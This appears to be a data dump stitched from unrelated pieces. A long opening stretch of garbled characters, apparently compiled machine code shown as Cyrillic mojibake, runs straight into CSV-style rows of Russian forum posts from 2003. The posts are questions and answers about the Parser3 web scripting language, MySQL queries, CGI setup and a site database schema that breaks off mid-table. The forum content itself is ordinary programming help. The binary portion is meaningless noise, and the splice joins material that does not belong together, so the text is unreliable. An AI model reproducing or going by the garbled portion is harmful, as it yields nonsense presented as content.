ї?й—‹D$?hд?;PиsН?ѓД?…Аt?ї?лz‹L$?hЬ?;QиVН?ѓД?…Аt?ї?л]‹T$?h,?;Rи9Н?ѓД?…АuB‹D$?hР?;Pи#Н?ѓД?…Аt1‹L$?Qя???<ЌT$ RUиц?‹и‹D$(ѓД ;Г?„V?й??ї?‹D$?Pя???<ЌGфѓД?ѓш ‰\\$??‡С3ЙЉ??22я$Ќ 22Ђ}%u?ї?ЌT$?RUи??‹иѓД?;л?„Ш?ЉE< t?< t < t?< ?…?ЉE<‹F?hЁщ‹F$…АtD‹F?hЬ?;Pи°ЙыяѓД?…Аt/‹V$‹ |с<Q‹B?Pи–ЙыяѓД?…Аt?VUWи?Ыяя‹v?ѓД …Аt?‰C?SVUWиСряяѓД?…Аt(‹L$<PQUWи?ёяя‹G?ѓД?…Аt?‹S?‹?Rh?ю<QяРѓД ‹T$4‹Г‰W?_^][ѓД Г_^]3А[ѓД Гђђђђђђђѓм SUVW‹|$4…я?„ђ?‹l$8…н?„„?‹t$<…ц?„x?‹G?@‰G?Ph?ю<ЌD$?j?Pя?HP:ЌL$ QUWиoЦяя‹ШѓД?…Ы?„E?h@X<V‰s$З? и?&юя‰C ‹v ѓД?…цtF‹F$…Аt?‹V?hах<RиЊИыяѓД?…Аt*‹N$Ў|с<P‹Q?RиsИыяѓД?…Аt?VUWиTБяя‰C?‹v?ѓД …цЗD$4?„‘‹F$…А?„†‹F?hЁщ<Pи2ИыяѓД?…Аt)‹V$‹ |с<Q‹B?Pи?ИыяѓД?…Аt?jVUWиWйяяѓД?лA‹F$…АtA‹N?hЊю<QинЗыяѓД?…Аt,‹F$‹?|с<R‹H?QиУЗыяѓД?…Аt?VUWи?ьяяѓД ‹v?‰D$4‹T$4…ц‰S?t(‹D$<VPUWиbІяя‹G?ѓД?…Аt?‹K?‹?Qhя<RяРѓД _^‹Г][ѓД Г_^]3А[ѓД ГђђђS‹\\$?VW‹CT…А?…Ь‹C?…Аu _ЗCX?^[Гѓ8??…Бѓx4??„Ї‹|$?Ў/=Wh|я<Pя?°?<ѓД иkёяя‹t$?…А‰F,u?‹ /=WhXя<Qя?°?<ѓД _^[ГPиАёяя‰F8‹S?WVRиr‹F8‹N,PQи?ёяя‹V,RиьЁяя‰CT‹F,Pи ©яяѓД …Аu?‹ /=Wh,я<Qя?°?<ѓД ЗF ?‹V,ЗF8RиLёяяѓД?ЗF,_^[ГђђђђђђђђђђђђђђQSUV‹t$?…цWtI‹?ѓАюѓш??‡2?я$…Ђ<8‹v?…ц?„=?л#‹F@…А?…Ю?‹v?…ц?„%?л ‹v?…ц?„??…цuЇ‹D$ ‹ /=Ph`Г<Qя?°?<ѓД _^][YГ‹?/=h$ hРх<hи“<Rя?°?<‹t$,jhЂД<j‹F8‹N,PQиДўяяѓД$‰F8_^][YГ‹|$?‹F,=@‹_8?Њнѓ~(??Ћ‚‹W,jSRи іяя‹O,‹Ш‰_8‹F(Hh@PQиеіяя‹и‹FPѓД?…Аt?‹P?RWPиоюяяѓД л?‹F?‹O8‹W,VPjQRиEўяяѓД?‰G8‹w8‹G,USVPиаіяя‹O,UjVQи?їяяѓД ‰G8_^][YГ‹FP…Аt?‹P?RWPи•юяяѓД л?‹F?‹O,VPjSQипЎяяѓД?‰G8‹W8‹G,SRPи[Ґяя‹F(ѓД …А?…З?‹O8‹W,QSRи?ҐяяѓД _^][YГѓш??Vѓ~(??P‹FP…Аt?‹H?QWPи)юяяѓД л?‹V?‹G,VRjSPиѓЎяяѓД?‰G8‹F(…А?…l?‹O8‹W,QSRидєяяѓД _^][YГ‹G,jSPиПєяя‹Ш‹G,‰_8‹N,‹V(IJQRPиїҐяя‰D$8‹FPѓД?…Аt?‹H?QWPи?эяяѓД л?‹V?‹G8‹O,VRjPQи?ЎяяѓД?‰G8‹T$ ‹o8‹G,RSUPињҐяя‹L$0‹W,QjURиЛҐяя‰G8‹N(ѓД …Й?…Д?P‹G,SPи?єяяѓД _^][YГ‹N(ѓщ?u09N,u+‹v?…ц?„??‹|$ ‹\\$?WSVи?эяя‹v?ѓД …цuо_^][YГ‹|$?‹F,=@‹o8?ЊГѓщ?~n‹O,jUQиШёяя‹Ш‹G,‰_8‹V(Jh@RPи°єяя‹v?ѓД?…ц‹иt?‹L$ QWVиёьяя‹v?ѓД …цuк‹w8‹W,USVRиїєяя‹G,UjVPитєяяѓД ‰G8_^][YГ‹^?…Ыt?‹L$ QWSиsьяя‹[?ѓД …Ыuк‹W8‹G,URPиKёяя‹F(ѓД …А?…Ї?‹O8‹W,QURи/ёяяѓД _^][YГѓш??Dѓщ???‹^?…Ыt?‹D$ PWSи?ьяя‹[?ѓД …Ыuк‹F(…А?…n?‹O8‹W,QURижўяяѓД _^][YГ‹G,jUPиСўяя‹и‹G,‰o8‹N,‹V(IJQRPи©ёяя‹^?ѓД?…Ы‰D$?t?‹L$ QWSиЇыяя‹[?ѓД …Ыuк‹T$?‹_8‹G,RUSPиІёяя‹L$,‹W,QjSRибёяя‰G8‹N(ѓД …Й?…Ъ?P‹G,UPиUўяяѓД _^][YГ‹|$?‹W,‹O8R‰L$ и?ўяя‹и‹F,ѓД?ѓш?‰l$?u;‹^?…Ы?„Ж‹L$ ‹D$?QWS‰G8и?ыяя‹W8‹G,URPиыЎяя‹[?ѓД?…ЫuХй–=@№@t?ЌHя‹F(ѓш?}?3Ал?HQ‹O,PQи?ўяя‹W,‰D$?Rи?Ўяя‹^?ѓД?…Ы‹иt+‹L$ ‹D$?QWS‰G8и©ъяя‹W8‹G,URPи‹Ўяя‹[?ѓД?…ЫuХ‹\\$?‹L$?‹W,SQURиќўяя‹D$(‹O,SPUQиНўяя‹l$8ѓД ‹F(…Аu?‹T$?‹G,URPи@ЎяяѓД ‰o8_^][YГ‹~?…я?„ё‹\\$?‹k8‰k8‹O,‹W(‹G?WQ‹K,RPUUQиЧџяя‹??ѓД?…яuЫ‹N(‹S83А…Й?”АP‹C,WRPи$ЎяяѓД?‰C8_^][YГ‹|$ ‹\\$?‹N@WSQиХщяя‹v?ѓД …цt5WSVиГщяя‹v?ѓД …цuо_^][YГ‹T$ ‹?‹ /=RPhњя<Qя?°?<ѓД?_^][YГ†68]<8]<8W68К88ґ:8М;8]<8W68]<8268?68И68]<8]<8W68V‹t$ …цW?„?‹|$ …я?„ф‹G?…Аtz‹O?…Йt1‹G$jPjVиJ?яя‹F?ѓД?…А?„К‹L$?‹?QhP=RяРѓД _^Г‹O?‹V?QP‹B(PиЦуъяѓД …Аu$‹F?…А?„’‹O?‹T$?Q‹?Rh$=QяРѓД?_^Г‰GP_^Г‹G8…Аtl‹O?…Йt-‹W$jRjVиЙґяя‹F?ѓД?…АtM‹L$?‹?Qhфя<RяРѓД _^Г‹O<‹V?QPRи<ѓД …Аu ‹F?…Аt?‹O8‹T$?Q‹?RhМя<QяРѓД?_^Г‰G?_^ГђђђђђђђђђђђђђђђVW‹|$?…яu?_3А^Г‹D$ ‹t$?…Аt?‹@?VWPиътъяѓД …АuQSVWи ‹ШѓД?…Ыu=…цu?‹ PP:WѓБ@hњ=Qя?@P:ѓД ‹Г[_^Г‹?PP:VWѓВ@hЂ=Rя?@P:ѓД?‹Г[_^ГђђђђђђђђђђђђђђђSU‹l$?V‹t$?W…нu ‹F?‰D$?‹и‹F4…А?…x?‹?ѓш ?Џ??ttHѓш ?‡a?я$…4B8‹L$?‹V?jQRл@‹F?…Аu?ЗF4?й:?‹F?…Аu ЗF4?й'?цF0?t ЗF4?й??‹T$?jRPиlяяя‹F?ѓД ‹H4‰N4йч?‹F?‹|$?…Аt jWPиGяяяѓД ‹F8…Аt7‹V<RP‹G?Pиџюяя‹ШѓД …Ыu?…яt?‹G?…Аt?‹N8‹?QUhl?=RяРѓД?‰^@‹F?…Аu ЗF4?йЏ?‹P?…Тu?‹?ѓщ?t?ѓщ?u ЗF4?йp?ѓ8??…??…Т?…7?ЗF4?йS?ѓш??Џ+??„??ѓш t??Ћ9?ѓш??Ћ)?й+?‹F8‹|$?…Аt7‹N<‹W?QPRижэяя‹ШѓД …\
\
\
\
Люди поглядите, может это у меня одного такая фигня."
"19349","Пишу криво но по-своему\
\
[code]\
@derevo[messages;id][id]\
$tmper[^messages.select($messages.parent_id == $id)]\
^tmper.menu{\
$url_mes[/forum/?tred=$messages.forum_message_id]\
^if(^form:tred.int(0)==0){$num_messages[^table::sql{select * from forum_message where thread_id=$messages.forum_message_id AND forum_id=0}]}{}\
^shablon[^if($messages.thread_id==0){$url_mes}{};$messages.title;$messages.dt_published;;$messages.author;$messages.body;\
<table>\
<tr>\
	<td valign=\"middle\">^ansver[$tmper.forum_message_id;^if($tmper.thread_id==0){$tmper.forum_message_id}{$tmper.thread_id};0]</td>\
	<td valign=\"top\">^if(^form:tred.int(0)==0){<a href=\"$url_mes\">Ответов:^num_messages.count[]</a>}{}</td>\
</tr>\
</table>]\
^derevo[$tmper.forum_message_id]\
}\
[/code]\
\
При выполнении выдаёт следующую ошибку (из логов парсера)\
218 сроку считаь 1\
\
[code]\
[Wed Aug  6 17:25:31 2003] /forum/: /www/.../.../html//classes/forum.p(218): 'forum_message' column not found [parser.runtime] \
[/code]\
\
\
Заранее благодарю за помощь"
"19352","Вот понадобилось и все :)\
Помогите пожалста."
"19354","Т.к. никогда не работал с такими штуками, решил к Вам обратиться.\
\
А пытаюсь я набраться опыту в следующем. Допустим, я наделал таких ссылок:\
<a href=\"/?id=1\">Один</a>\
<a href=\"/?id=2\">Два</a>\
<a href=\"/?id=3\">Три</a>\
\
и хочу, чтобы при нажатии на ссылку с определенным id выводилась нужная информаци.\
\
1 сп.\
^if(id == 1){Один в поле не воин}\
^if(id == 2){Мы с Тамарой ходим парой}\
^if(id == 3){Бог любит троицу}\
\
2 сп.\
^switch[id]{\
   ^case[1]{Один в поле не воин}\
   ^case[2]{Мы с Тамарой ходим парой}\
   ^case[3]{Бог любит троицу}\
}\
\
Но у меня ничего не получается! В чем моя ошибка? Или посоветуйте, пожалуйста, как это можно сделать."
"19355","Вам надо получить переменную, которую вы передаёте методом GET.\
Документация -> класс form ->Получение значения поля формы"
"19357","Есть число в базе. Получаю его на страницу:\
\
^connect[$connect_string]{ \
   $ch[^table::sql{select number from ch}[]\
   ^if($ch){^ch.menu{$ch.number}\
   } \
}\
\
Как в результате получения получить его на один больше?\
\
(Т.е. в базе 50, а на странице надо 51)"
"19358","По моему, есть еще вариант - генерить статичные html-ки. Хотя конечно для некоторых нужд это не подходит и тогда, наверное, действительно лучше много мелких xml-ек кэшировать."
"19362","http://www.artlebedev.ru/kovodstvo2/"
"19363","Плиз!!! Скажите хоть, как отдать парсеру путь с буквой диска (x:\\home\\etc..) для convert.-a нужен!!!!\
Доку читал - там только по поводу веб-пространства. Я конечно понимаю, что парсер=server-side, но  переучиваться уже  поздно."
"19365","Почитайте какой-нить справочник по JS, и вопрос, как поменять скриптом атрибут у элемента по совершении какого-нибудь действия решится сам собой."
"19367","когда ты аплоадишь файл на сервер через форму multipart и он пришел через <input type=\"file\"/> то сервер совершенно ничего не знает о том, где этот файл был на диске пользователя, и не узнает в принципе (security). и файл, в том виде, в каком он пришел - еще не записан на диск.\
\
так что единственный возможный для сервера вариант - сохранить его (куда он сам пожелает, используя относительные пути он может сохранить его вне веб пространства) и потом делать что угодно: вызвать скрипт и скормить файл скрипту, переместить его, измерить, удалить и т.д."
"19368","[quote]http://www.artlebedev.ru/kovodstvo2/nuggets/fonts/:\
\"Walden Font — цифровые шрифты XVIII—XIX веков\"[/quote]\
\
Раньше я пребывал в твёрдой уверенности, что до XX века цифровых шрифтов не было."
"19369","Я пропатчил suexec таким образом, что бы при выполнении файлов *.p, выполнялся /usr/local/bin/parser3 <этот файл>. Он и запускается, но ничего не парсит. В браузере только:\
\
Parser/3.1.0\
\
В error.log тоже самое:\
\
[Thu Aug  7 13:05:52 2003] Parser/3.1.0\
\
Экспериментально было выяснено, что на самом деле он в stdout выдает:\
\
status: 500\
content-type: text/plain\
content-length: 12\
\
Parser/3.1.0\
\
Помогите его заставить работать?"
"19370","данные для работы черпает из environment, как и всякий CGI-скрипт.\
\
есть ощущение, что данные до него не дошли."
"19373","Я написал для программы маленький скрипт на Парсере.\
Прицип действия таков:\
\
В интернете есть страница которая постоянно обновляется, скрипт берет из интернета эту страницу и сохраняет её на диск с именем текущяя_дата.html\
\
Вот код всей страницы:\
[code]\
@title[]\
Load\
\
@body[]\
\
@load[]\
$date_now[^date::now[]]  \
\
$file[^file::load[text;тут_имя_файла_префикс_http_указан;$date_now.htm]]\
\
^load[]\
\
[/code]\
\
Но ничего не работает, браузер выдает:\
\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request...\
\
В чём ошибка.\
Документацию читал, поиском по форуму пробовал.\
\
Заранее благодарю."
"19375","было (и параметры к ^file::load неправильные) - тут я нагнал.\
\
включи unhandled_exception_debug"
"19376","есть таблица voting:\
[code]\
file_id,\
value\
[/code]\
, где value - это значение одного голоса, отданного за файл с идентификатором file_id\
\
А мне нужно подсчитать среднеарифметическое на file_id как это сделать одним запросом? если можно..."
"19377","как не нужен? А каким же образом он в режиме интерпретатора работает?"
"19378","думается, вы вызываете parser не с консоли, а из другого CGI-скрипта, в environment остаются данные, и parser решает, что его запустили вовсе не из консоли."
"19380","А я искал сумму и хотел делить на кол-во строк... а оказывается уже все есть... %)"
"19381","Надо, чтобы при получении информации о файле среднее значение получалось вместе с информацией о файле, т.е.:\
[code]\
		SELECT\
			file.file_id as id,\
			file.name,\
			AVG(voting.value) as vote\
		FROM\
			file, voting\
		WHERE\
			file.file_id = voting.file_id AND\
			file.file_id = '$file_id'\
[/code]\
Но! На такой запрос получаю ошибку:\
[code]\
Mixing of GROUP columns (MIN(),MAX(),COUNT()...) with no GROUP columns is illegal if there is no GROUP BY clause [sql.execute]\
[/code]\
\
Или таким способом нельзя?"
"19382","надо было добавть %)\
[code]GROUP BY \
	voting.file_id\
[/code]\
\
Спасибо"
"19383","Насчет поля html, это не поле, а расширение у файла, который нужно сохранить.\
\
\
Я немножко не понял, что вы имели ввиду насчет\
\
[i]\
было (и параметры к ^file::load неправильные) - тут я нагнал\
[/i]\
\
И не могли бы ли вы сказать как вклюить unhandled_exception_debug."
"19384","Все эти вопросы (за исключением моей ошибки) в ней описаны.\
Плюс к этому, есть поиск по форуму - он на строку \"unhandled_exception_debug\" дает 2 десятка сообщений - ответ в первой пятерке.\
\
А мои слова означали, что сначала я высказал некорректное утверждение о параметрах, а потом отредактировал сообщение, указав на свою ошибку."
"19385","Насчет поиска вы правы, надо было поискать.\
\
Я включил unhandled_exception_debug, страница работает, а вот файл не сохраняется."
"19386","Если была ошибка, куда она делась?"
"19387","Для ПРИМЕРА:\
\
<SCRIPT>\
function disable_company(){\
if(document.step1.type[1].checked==true){\
document.step1.company.disabled=false;\
document.getElementById('company_name').style.color = '333333';\
}else{\
document.step1.company.disabled=true;\
document.getElementById('company_name').style.color = '777777';\
}\
}\
function disable_code(){\
/*	if(document.step1.already[1].checked==true){\
document.step1.code.disabled=false;\
document.getElementById('code_name').style.color = '333333';\
}else{\
document.step1.code.disabled=true;\
document.getElementById('code_name').style.color = '777777';\
}*/\
}\
</SCRIPT>\
\
<FORM name=step1 action=./senddata.html method=post>\
<INPUT type=hidden value=1 name=doSend>\
<INPUT type=hidden name=code> \
<INPUT id=type_0 onclick=disable_company() type=radio CHECKED value=0 name=type> \
<LABEL for=type_0>частное лицо</LABEL><BR><INPUT id=type_1 onclick=disable_company() type=radio value=1 name=type> \
<LABEL for=type_1>корпоративный клиент</LABEL><P>\
<TABLE cellSpacing=0 cellPadding=0 width=\"80%\" border=0>\
<TR><TD noWrap><DIV id=company_name>Название компании:&nbsp;&nbsp;</DIV></TD>\
<TD width=\"99%\"><INPUT style=\"WIDTH: 100%\" disabled size=30 name=company></TD></TR></TABLE>\
</FORM>\
<SCRIPT>\
<!--\
disable_company()\
disable_code()\
//-->\
</SCRIPT>\
\
Далеко я не ушел, поэтому JS и код взят с одной из страницы Учебного центра А. Лебедева.\
\
http://www.edu.artlebedev.ru/\
\
* Правда этой самой страницы там сейчас нет. :)"
"19388","да, именно так. Пришлось самому установить PATH_TRANSLATED и PATH_INFO перед вызовом parser'а."
"19389","при сборке ругается:\
\
Making all in src\
Making all in include\
make  all-am\
Making all in main\
source='pa_common.C' object='pa_common.o' libtool=no  depfile='.deps/pa_common.Po' tmpdepfile='.deps/pa_common.TPo'  depmode=gcc /bin/sh ../../depcomp  c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl -I/usr/local/include/glib12 -I/usr/local/include -I/usr/local/include/libgdome -I/usr/local/include/libxml2     -O -pipe -c -o pa_common.o `test -f 'pa_common.C' || echo './'`pa_common.C\
In file included from ../../src/include/pa_charsets.h:17,\
                 from pa_common.C:15:\
../../src/include/pa_charset.h: In method `GdomeDOMString_auto_ptr::GdomeDOMString_auto_ptr(xmlChar *)':\
../../src/include/pa_charset.h:163: implicit declaration of function `int gdome_str_mkref_xml(...)'\
../../src/include/pa_charset.h:163: assignment to `GdomeDOMString *' from `int' lacks a cast\
*** Error code 1\
\
Stop in /tmp/parser/work/parser-3.1.0/src/main.\
*** Error code 1\
\
Stop in /tmp/parser/work/parser-3.1.0/src.\
*** Error code 1\
\
Stop in /tmp/parser/work/parser-3.1.0.\
*** Error code 1"
"19390","А как сделать зашищенную зону? Т.е. страницу, доступ к которой возможен только при помощи логина и пароля. Может кто поделиться опытом. Если не жалко конечно."
"19391","Попытка изменить настройки приводит к такой: \
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@design.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"19393","Здравствуйте,\
\
Я хочу выводить заголовки сообщений постранично и для этого считываю из базы:\
\
[code]\
@load[page,per_page]\
$from(($page-1)*$per_page+1)\
^MAIN:dbconnect{ \
   $messages[^table::sql{\
	SELECT \
		`id` \
	FROM\
		`forum` \
	WHERE \
		(`is_published` = 1) AND (`parent_id`= 0)\
	ORDER BY\
		`date` DESC \
	LIMIT $from, [color=\"red\"]$per_page[/color]\
}] \
}\
[/code]\
\
Но он выдаёт ошибку \"You have an error in your SQL syntax\". Если оставляю только одну переменную - то всё нормально.\
\
Подскажите, как-нибудь можно с этим справиться?"
"19394","подскажите пожалуйста, направьте в нужное русло\
есть таблица выпусков журнала по годам\
\
year number\
2003 1 \
2003 2\
2000 9\
2003 3\
2002 2\
2002 3\
2002 5\
2000 1\
1978 8\
\
не могу сообразить, как мне её распихать по такому виду на страницу\
год   все номера\
1978  8\
2000  1, 9\
2002  2, 3, 5\
2003  1, 2, 3\
не получается сделать это обычными методами для таблиц. Может это через хэш делать надо?"
"19395","и будет вам счастье, ибо получите такой хеш таблиц:\
[code]\
$h[\
  $.2003[тут таблица с записями за 2003 год]\
  $.2002[тут таблица с записями за 2002 год]\
  ...\
]\
[/code]"
"19396","и в качестве ошибочного запроса какой запрос показывается? может не передали ничего и в запросе просто 'LIMIT 3,' ?\
\
и еще...\
\
[code]\
@load[page,per_page]\
[/code]\
- это неверно, правильно так:\
[code]\
@load[page;per_page]\
[/code]"
"19397","сработает?\
но всё-равно спасибо, дальше разберусь"
"19399","Спасибо, в принципе, предидущий ответ помог.\
Сорри, что не по-русски вопросы задаю:-)"
"19400","Спасибо, ясно, я об этом и спрашивал. Я пытался локально сделать convert+resize локально установленным Image-magick-ом. (хотя понятно что parser не для того предназначен)\
\
Тем не менtе все равно спасибо, уже выкрутился!"
"19401","..../parser3mysql.dll' driver implements API version 0x0005 not equal to 0x0007\
перепробовал все библиотеки от всех версий - одна и та же  ошибка\
\
парсер 3.1 под win\
\
случайно не может быть,  что библиотеки для mySQL перепутали?"
"19402","Линукс 2.4.21\
Парсер взят из CVS (хотя пробовал и 3.1)\
libgc - 6.2 установлен в /usr/local/gc\
\
--with-shared-gc=/usr/local/gc/lib\
\
и ничего не получается..."
"19403","таблица такого вида:\
[code]\
2003   7\
2003   7\
2003   8\
2003   7\
2003   8\
[/code]\
\
А мне надо, чтобы привелось к виду:\
[code]\
2003 7,8\
[/code]\
т.е. чтоб был хешь с содержанием - таблица, но только уникальных...\
\
А то только через перебор строк и создание хеша... может проще можно?"
"19405","... а сразу sql сервером получить уникальные комбинации значений.\
\
если же это получалось не от sql сервера, то кроме menu и ручного формирования хеша таблиц мне ничего на ум не приходит (menu с кучей select-ов не предлагать)."
"19407","я так понимаю, можно сразу сформироать запрос к базе таким образом, чтобы получить то что нужно\
\
но как?"
"19408","[code]\
SELECT\
	DATE_FORMAT(news.pub_date,'%Y') as year,\
	DATE_FORMAT(pub_date,'%m') as month\
FROM\
	news\
GROUP BY\
	month\
[/code]\
правильно мыслю?"
"19410","лично у меня все под win ок, как на модуле, так и на CGI, под IIS не пробывал"
"19412","видимо, это сервер глючил"
"19413","У меня MySQL. Правда это уже не нужно. Ошибка была в точке запятой.\
Когда исправила, вторую переменную Parser сразу её узнал. Теперь, правда, он интерпретирует\
\
[code]\
$from , $per_page\
[/code]\
\
как double.\
What's the trouble?"
"19414","- Петька приборы\
- Десять\
- Что десять?\
- А что приборы ...\
\
У вас драйвер был не той системы, пардон, версии. Вам так прямо и сказано было. И не надо быдо перепробывать все библиотеки для всех версий, - нужно взять ту что для 3.1 и мучить её."
"19417","обычно подобное сразу проясняется."
"19420","т.е. меня интересует вопрос, например, каким образом можно в тексте, взятом из базы данных, в конце каждого абзаца поставить br"
"19423","Проблема моя состоит в следующем:\
в таблице MySQL есть некоторые данные. Эти данные надо расположить в таком порядке:\
9 8 7\
6 5 4\
3 2 1\
т.е. три строки по три столбца в каждой( для разных строк могут использоваться разные таблицы) подскажите, пожалуйста как это сделать? Заранее благодарю!"
"19424","http://www.mysql.ru/docs/instadm.html"
"19425","[url=\"/examples/p2table/\"]смотреть тут[/url]"
"19428","[code]\
$t[^table::create{id\
^for[i](1;9){$i\
}\
}] \
\
^t.menu{\
	$t.id\
	^if(^t.line[]%3 == 0){<br>}\
}\
[/code]"
"19431","Что означает такое сообщение об ошибке:\
[Wed Jul 23 22:29:22 2003] exception in request exception handler: Exception 0xC0000005 at 0x0043B968\
Вытащил из parser3.log файла, иногда сайт не грузится(HTTP 500 - Внутренняя ошибка сервера Internet Explorer ) и в log добавляется эта запись."
"19432","я не ставил разные библиотеки под одну версию\
я проверял, работают ли  другие версии под моим апачем - всё работало кроме 1.0\
потом он внезапно тоже заработал"
"19434","[quote]\
я не ставил разные библиотеки под одну версию\
[/quote]\
А как это прикажете понимать?:\
[quote]\
..../parser3mysql.dll' driver implements API version 0x0005 not equal to 0x0007\
перепробовал все библиотеки от всех версий - одна и та же ошибка\
\
парсер 3.1 под win\
[/quote]\
Отсюда совсем не следует первая цитата"
"19435","Скорее всего что-то в @unhandled_exception поправлено некорректно"
"19438","У меня возникла проблема такого рода. Контент сайта хранится в 2 таблицах, в первой - собственно дерево документов, во второй - версии контента. У обоих таблиц есть общее поле doc_id, у первой оно - primary key, у второй - нет.\
\
то есть может быть запись об одной из страниц сайта - \
\
[code]doc_id > parent_id > thread_id > author\
    10 >         5 >         5 >  Sanja[/code]\
\
и сопоставленные ей три записи в другой базе\
\
[code]id > doc_id > title > body > revision\
13 >     10 >  Тест > Вася > август\
25 >     10 >  Тест > Петя > июнь\
10 >     10 >  Тест > Маша > май[/code]\
\
Когда мне нужно вытащить список всех документов на сайте я делаю [b]SELECT FROM таблица2, таблица1 WHERE таблица2.doc_id = таблица1.doc_id GROUP BY doc_id ORDER BY revision DESC;[/b] - будет выбрано по последней версии каждого документа из базы (т. е. из таблицы 2 будет вытащена августовская версия документа). Лепота.\
\
А теперь попытаемся устроить поиск по сайту... и круто обломимся. Потому что если добавить к запросу WHERE body LIKE \"%Петя%\", SQL-сервер вытащит предпоследнюю версию документа с doc_id  10. \"Пети\" там уже нет, его давно заменили Васей, а в результатах поиска он вылезет :(\
\
Что делать? Добавить флаг \"это последняя версия ENUM(yes,no)\"? Тогда придётся заморачиваться на предмет его  обновления после каждой правки любого документа на сайте, что плохо... Подкиньте ещё идей, пожалуйста."
"19439","твой запрос делает совсем не то, что ты думаешь. \
\
давай пока забудем про поиск...\
\
дело в том, что ORDER работает [b]после[/b] GROUP BY, и то, что у тебя выдается запись с revision 'август' - случайность.\
\
попробуй создай тестовую базу и поиграйся с ней и ты увидишь, что один и тот-же запрос (как твой приведенный) возвращает разные данные в зависимости от того, что у тебя в БД.\
\
например, если у тебя это:\
[code]\
id > doc_id > title > body > revision\
13 >     10 >  Тест > Вася > август\
10 >     10 >  Тест > Маша > май\
[/code]\
\
то получишь Вася, а если это:\
[code]\
id > doc_id > title > body > revision\
13 >     10 >  Тест > Вася > май\
10 >     10 >  Тест > Маша > август\
[/code]\
\
то получишь - Маша (но это совершенно не обязательно, результат может быть произволен)\
\
(мой пример тестового запроса:\
[code]\
SELECT\
	body\
FROM\
	t2, t1\
WHERE\
	t2.doc_id = t1.doc_id\
GROUP BY\
	t2.doc_id\
ORDER BY\
	revision DESC\
[/code]\
)\
\
это расплата за ту халяву, которую предлагает MySQL по пользованию его GROUP BY. ни один другой SQL тебе не позволит написать так запросто GROUP BY doc_id, в случае, если ты достаешь несколько столбцов.\
\
соответственно раз подобная реализация работает случайно, то говорить о том, как искать в ней что-либо нету смысла :)\
\
на самом деле я просто показал, где ошибка в реализации.\
как сейчас выкрутиться - я с ходу придумать не могу. но мне это интересно, на досуге подумаю."
"19440","первый - получаем список id самых новых ревизий\
SELECT id FROM таблица2 GROUP BY doc_id ORDER BY revision DESC;\
\
а второй - получаем сами данные поиска\
SELECT FROM таблица2, таблица1 WHERE таблица2.body like \"вася\" and таблица2.id in (список из первого через запятую) and таблица1.doc_id = таблица2.doc_id;"
"19441","Сдается мне, что самое простое - добавить поле, означающее \"архивность/активность\" данной ревизии. При обновлении (суть - добавлении новой строки) просто добавится лишний запрос на обнуление этого поля у все остальных ревизий.\
\
Кстати, таким образом можно реализовать не только \"активность\", но и вообще любое состояние документа:\
0 - архив\
1 - активный\
2 - свеже введенный, но еще не готовый к показу (для всяких тестов, чтобы не завалить уже живое)\
и т.д."
"19442","продумывал её долго, а оказалось... гм.\
\
Видимо, придётся ставить упомянутый флажок в site_content...\
\
[code]#\
# В таблице site_doctree описывается древовидная структура страниц на сайте.\
# Для каждого элемента хранится информация о его собственном номере, номере\
# \"родительского\" по отношению к нему элемента и общем для всей ветви номере.\
#\
# Поскольку сайт может быть многоязычным, в дереве хранится информация\
# о языке элемента. \
#\
# В этой таблице хранится лишь информация о структуре дерева документов;\
# содержание страниц вынесено в отдельную таблицу site_content, поскольку\
# требуется хранить старые версии документов, иметь возможность вернуть\
# старую версию какого-то документа и т.п. \
#\
# Для каждого элемента вводятся дополнительные атрибуты, такие как\
# отображение/неотображение в меню, кеширование, права доступа\
# (все посетители или специальные условия - таблица site_access). \
\
DROP TABLE IF EXISTS site_doctree;\
CREATE TABLE         site_doctree (\
  # Уникальный идентификатор документа:\
  doc_id        int(16)               NOT NULL auto_increment,\
  # Поле для сортировки записей внутри одной ветви:\
  orderidx      int(16)               NOT NULL default '0',\
  # Идентификатор \"родительского\" документа:\
  parent_id     int(16)                        default '',\
  # Идентификатор, общий для всех документов в одной ветви:\
  thread_id     int(16)               NOT NULL default '',\
  # Можно ли двигать документ?\
  is_locked     enum('yes','no')      NOT NULL default 'no',\
  # язык документа (определяет, в какой папке, \"/\", \"/en/\" \
  # или \"/de/\" будет находиться fullpath, о котором ниже):\
  lang          char(2)               NOT NULL default 'ru',\
  # Имя документа в виртуальной \"файловой системе\":\
  filename      varchar(255)          NOT NULL default '',\
  # Полный путь - избыточная информация для ускорения \
  # обращений, например, \"/en/about/boss/\":\
  fullpath      varchar(255)          NOT NULL default '',\
  # Тип элемента (нормальная страница или ссылка на другой сайт):\
  itemtype      enum('page','extlink') \
                                      NOT NULL default 'page',\
  # Удаляемые страницы не стираются из базы, а становятся 'невидимыми':\
  is_deleted    enum('yes','no')      NOT NULL default 'no',\
  # Дополнительный комментарий:\
  notes         text                  NOT NULL default '',\
  # Права  доступа к элементу (все посетители или согласно \
  # специальным условиям - таблица site_access):\
  access        enum('all','custom')  NOT NULL default 'all',\
  # Автор документа:\
  author        varchar(255)          NOT NULL default 'Unknown',\
  # IP-адрес автора правок:\
  ipaddr        varchar(255)          NOT NULL default 'Not detected',\
  # Отображать ли страницу в меню / на карте сайта?\
  in_menu       enum('yes','no')      NOT NULL default 'no',\
  # На сколько минут кешировать документ (0 - не кешировать)\
  is_cached     int(3)                NOT NULL default '0',\
  # Индексы\
  PRIMARY KEY          (doc_id),\
  KEY idx_lang         (lang),\
  KEY idx_orderidx     (orderidx),\
  KEY idx_filename     (filename),\
  KEY idx_fullpath     (fullpath),\
  KEY idx_parent_id    (parent_id),\
  KEY idx_tread_id     (thread_id),\
  KEY idx_in_menu      (in_menu),\
  KEY idx_is_deleted   (is_deleted)\
) COMMENT='Documents tree';\
\
# Таблица с содержимым элементов дерева - связывается с таблицей\
# site_doctree по ключевому полю doc_id, таблица site_content\
# является keyed table.\
\
DROP TABLE IF EXISTS site_content;\
CREATE TABLE         site_content (\
  # Уникальный ID записи в базе:\
  id            int(16)               NOT NULL auto_increment default '',\
  # Указывает, с контентом какого документа в дереве мы имеем дело:\
  doc_id        int(16)               NOT NULL default '',\
  # Заголовок страницы:\
  page_title    text                  NOT NULL default '',\
  # Тело страницы (если это - не страница сайта, а ссылка на внешний сайт, тут пишется ссылка):\
